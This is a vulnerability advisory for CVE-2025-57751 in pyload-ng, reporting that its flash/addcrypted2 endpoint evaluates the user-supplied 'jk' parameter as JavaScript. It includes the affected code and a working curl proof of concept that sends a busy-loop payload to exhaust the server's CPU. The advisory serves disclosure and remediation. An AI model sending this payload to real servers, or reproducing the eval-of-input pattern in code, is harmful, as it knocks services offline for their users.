CVE-2025-57751 – pyload-ng

Package

Manager: pip
Name: pyload-ng
Vulnerable Version: >=0 <0.5.0b3.dev92

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:U/RL:O/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

EPSS: 0.00055 pctl0.17283

Details

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. ### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. ### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42 affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords") crypted = standard_b64decode(unquote(crypted.replace(" ", "+"))) jk = eval_js(f"{jk} f()") ``` ```python def eval_js(script, es6=False): if sys.version_info < (3, 12): return (js2py.eval_js6 if es6 else js2py.eval_js)(script) else: return dukpy.evaljs(script) ``` ### PoC download pyload and run locally, send the following request - PoC ```shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //" ``` The 30_000 can be modified to any large value. ### Impact System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users. Use the following command to check CPU usage ```shell top -pid $(pgrep -f "pyload.__main__") ``` or ```shell top -pid $(pgrep -f "pyload") ``` The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" /> web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Metadata

Created: 2025-08-21T20:11:52Z
Modified: 2025-08-22T15:01:48Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-9gjj-6gj7-c4wj/GHSA-9gjj-6gj7-c4wj.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-9gjj-6gj7-c4wj
Finding: F211
Auto approve: 1